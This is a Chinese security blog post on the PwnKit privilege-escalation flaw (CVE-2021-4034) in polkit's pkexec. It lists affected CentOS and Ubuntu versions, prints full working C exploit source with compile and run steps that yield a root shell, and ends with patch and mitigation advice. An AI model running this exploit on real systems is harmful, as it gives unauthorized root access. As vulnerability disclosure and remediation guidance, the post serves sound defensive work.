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<h1 id="0x01-CVE-2021-4034-漏洞详情"><a href="#0x01-CVE-2021-4034-漏洞详情" class="headerlink" title="0x01 CVE-2021-4034 漏洞详情"></a><strong>0x01 CVE-2021-4034 漏洞详情</strong></h1><p>Polkit（PolicyKit）是一个用于控制类Unix系统中系统范围权限的组件，它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分，它负责协商特权进程和非特权进程之间的互动，允许授权用户以另一个用户的身份执行命令，是sudo的替代方案。</p>
<p>1月25日，研究人员公开披露了在 polkit 的 pkexec 中发现的一个权限提升漏洞（CVE-2021-4034 ，也称PwnKit)，它存在于所有主流的 Linux 发行版的默认配置中。受影响版本的 pkexec 无法正确处理调用参数计数，最终尝试将环境变量作为命令执行，攻击者可以通过修改环境变量来利用此漏洞，诱使 pkexec 执行任意代码，从而导致将本地权限提升为root。</p>
<h1 id="0x02-影响范围"><a href="#0x02-影响范围" class="headerlink" title="0x02 影响范围"></a><strong>0x02 影响范围</strong></h1><p>自2009年以来的所有 Polkit 版本（存在于所有主流的 Linux 发行版中）</p>
<p>CentOS系列：</p>
<p>CentOS 6：polkit-0.96-11.el6_10.2</p>
<p>CentOS 7：polkit-0.112-26.el7_9.1</p>
<p>CentOS 8.0：polkit-0.115-13.el8_5.1</p>
<p>CentOS 8.2：polkit-0.115-11.el8_2.2</p>
<p>CentOS 8.4：polkit-0.115-11.el8_4.2</p>
<p>Ubuntu系列：</p>
<p>Ubuntu 20.04 LTS：policykit-1 - 0.105-26ubuntu1.2</p>
<p>Ubuntu 18.04 LTS：policykit-1 - 0.105-20ubuntu0.18.04.6</p>
<p>Ubuntu 16.04 ESM：policykit-1 - 0.105-14.1ubuntu0.5+esm1</p>
<p>Ubuntu 14.04 ESM：policykit-1 - 0.105-4ubuntu3.14.04.6+esm1</p>
<h1 id="0x03-利用"><a href="#0x03-利用" class="headerlink" title="0x03 利用"></a>0x03 利用</h1><p>利用十分简单</p>
<h2 id="1、下载"><a href="#1、下载" class="headerlink" title="1、下载"></a>1、下载</h2><p><a target="_blank" rel="noopener" href="https://github.com/arthepsy/CVE-2021-4034">https://github.com/arthepsy/CVE-2021-4034</a></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/arthepsy/CVE-2021-4034</span><br></pre></td></tr></table></figure>

<p>由于代码简单，也可以直接写到文件中</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">char</span> *shell = </span><br><span class="line">	<span class="string">&quot;#include &lt;stdio.h&gt;\n&quot;</span></span><br><span class="line">	<span class="string">&quot;#include &lt;stdlib.h&gt;\n&quot;</span></span><br><span class="line">	<span class="string">&quot;#include &lt;unistd.h&gt;\n\n&quot;</span></span><br><span class="line">	<span class="string">&quot;void gconv() &#123;&#125;\n&quot;</span></span><br><span class="line">	<span class="string">&quot;void gconv_init() &#123;\n&quot;</span></span><br><span class="line">	<span class="string">&quot;	setuid(0); setgid(0);\n&quot;</span></span><br><span class="line">	<span class="string">&quot;	seteuid(0); setegid(0);\n&quot;</span></span><br><span class="line">	<span class="string">&quot;	system(\&quot;export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf &#x27;GCONV_PATH=.&#x27; &#x27;pwnkit&#x27;; /bin/sh\&quot;);\n&quot;</span></span><br><span class="line">	<span class="string">&quot;	exit(0);\n&quot;</span></span><br><span class="line">	<span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span> &#123;</span><br><span class="line">	FILE *fp;</span><br><span class="line">	system(<span class="string">&quot;mkdir -p &#x27;GCONV_PATH=.&#x27;; touch &#x27;GCONV_PATH=./pwnkit&#x27;; chmod a+x &#x27;GCONV_PATH=./pwnkit&#x27;&quot;</span>);</span><br><span class="line">	system(<span class="string">&quot;mkdir -p pwnkit; echo &#x27;module UTF-8// PWNKIT// pwnkit 2&#x27; &gt; pwnkit/gconv-modules&quot;</span>);</span><br><span class="line">	fp = fopen(<span class="string">&quot;pwnkit/pwnkit.c&quot;</span>, <span class="string">&quot;w&quot;</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(fp, <span class="string">&quot;%s&quot;</span>, shell);</span><br><span class="line">	fclose(fp);</span><br><span class="line">	system(<span class="string">&quot;gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC&quot;</span>);</span><br><span class="line">	<span class="type">char</span> *env[] = &#123; <span class="string">&quot;pwnkit&quot;</span>, <span class="string">&quot;PATH=GCONV_PATH=.&quot;</span>, <span class="string">&quot;CHARSET=PWNKIT&quot;</span>, <span class="string">&quot;SHELL=pwnkit&quot;</span>, <span class="literal">NULL</span> &#125;;</span><br><span class="line">	execve(<span class="string">&quot;/usr/bin/pkexec&quot;</span>, (<span class="type">char</span>*[])&#123;<span class="literal">NULL</span>&#125;, env);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="2、编译"><a href="#2、编译" class="headerlink" title="2、编译"></a>2、编译</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc cve-2021-4034-poc.c -o cve-2021-4034-poc</span><br></pre></td></tr></table></figure>

<h2 id="3、运行"><a href="#3、运行" class="headerlink" title="3、运行"></a>3、运行</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./cve-2021-4034-poc</span><br></pre></td></tr></table></figure>

<h2 id="4、成功"><a href="#4、成功" class="headerlink" title="4、成功"></a>4、成功</h2><p>Centos7</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/67573a977096f3fb48bf55828197f3e7.png" alt="image-20220126155148796"></p>
<p>Ubuntu18</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/119d7639b9471554791588fe048d56d2.png" alt="image-20220126155212034"></p>
<h1 id="0x04-修复方案"><a href="#0x04-修复方案" class="headerlink" title="0x04 修复方案"></a>0x04 修复方案</h1><h3 id="通用修补建议"><a href="#通用修补建议" class="headerlink" title="通用修补建议"></a>通用修补建议</h3><p>根据<code>影响版本</code>中的信息，排查并升级到<code>安全版本</code></p>
<h3 id="临时修补建议"><a href="#临时修补建议" class="headerlink" title="临时修补建议"></a>临时修补建议</h3><p>目前此漏洞已经修复，建议受影响用户及时升级更新。</p>
<p>补丁下载链接：</p>
<p><a target="_blank" rel="noopener" href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683">https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683</a></p>
<p>注：</p>
<p>1.Ubuntu已经为PolicyKit推送了更新，以解决14.04和16.04 ESM版本以及最近的18.04、20.04和21.04版本中的漏洞。</p>
<p>下载链接：</p>
<p><a target="_blank" rel="noopener" href="https://ubuntu.com/security/notices/USN-5252-2">https://ubuntu.com/security/notices/USN-5252-2</a></p>
<p>2.Red Hat已经为 Workstation 和 Enterprise 产品上的polkit提供了安全更新。</p>
<p>下载链接：</p>
<p><a target="_blank" rel="noopener" href="https://access.redhat.com/security/security-updates/#/security-advisories">https://access.redhat.com/security/security-updates/#/security-advisories</a></p>
<p>3.如果系统没有可用的补丁，可以从 pkexec 中删除 SUID 位作为临时缓解措施，如：chmod 0755 &#x2F;usr&#x2F;bin&#x2F;pkexec</p>
<p>参考链接：</p>
<p><a target="_blank" rel="noopener" href="https://www.venustech.com.cn/new/_type/aqtg/20220126/23411.html">https://www.venustech.com.cn/new\_type/aqtg/20220126/23411.html</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034">https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034</a></p>
<p><a target="_blank" rel="noopener" href="https://www.bleepingcomputer.com/news/security/linux-system-service-bug-gives-root-on-all-major-distros-exploit-released/">https://www.bleepingcomputer.com/news/security/linux-system-service-bug-gives-root-on-all-major-distros-exploit-released/</a></p>
<p><a target="_blank" rel="noopener" href="https://access.redhat.com/security/cve/cve-2021-4034">https://access.redhat.com/security/cve/cve-2021-4034</a></p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2022/01/26/CVE-2021-4034%20Linux%20Polkit%20pkexec%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/">https://godzeo.github.io/2022/01/26/CVE-2021-4034%20Linux%20Polkit%20pkexec%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div class="tag_share"><div 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blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x01-CVE-2021-4034-%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85"><span class="toc-number">1.</span> <span class="toc-text">0x01 CVE-2021-4034 漏洞详情</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4"><span class="toc-number">2.</span> <span class="toc-text">0x02 影响范围</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03-%E5%88%A9%E7%94%A8"><span class="toc-number">3.</span> <span class="toc-text">0x03 利用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1%E3%80%81%E4%B8%8B%E8%BD%BD"><span class="toc-number">3.1.</span> <span class="toc-text">1、下载</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2%E3%80%81%E7%BC%96%E8%AF%91"><span class="toc-number">3.2.</span> <span class="toc-text">2、编译</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3%E3%80%81%E8%BF%90%E8%A1%8C"><span class="toc-number">3.3.</span> <span class="toc-text">3、运行</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4%E3%80%81%E6%88%90%E5%8A%9F"><span class="toc-number">3.4.</span> <span class="toc-text">4、成功</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04-%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88"><span class="toc-number">4.</span> <span class="toc-text">0x04 修复方案</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%80%9A%E7%94%A8%E4%BF%AE%E8%A1%A5%E5%BB%BA%E8%AE%AE"><span class="toc-number">4.0.1.</span> <span class="toc-text">通用修补建议</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%B4%E6%97%B6%E4%BF%AE%E8%A1%A5%E5%BB%BA%E8%AE%AE"><span class="toc-number">4.0.2.</span> <span class="toc-text">临时修补建议</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time datetime="2022-11-28T07:28:02.000Z" title="发表于 2022-11-28 15:28:02">2022-11-28</time></div></div><div class="aside-list-item"><a class="thumbnail" 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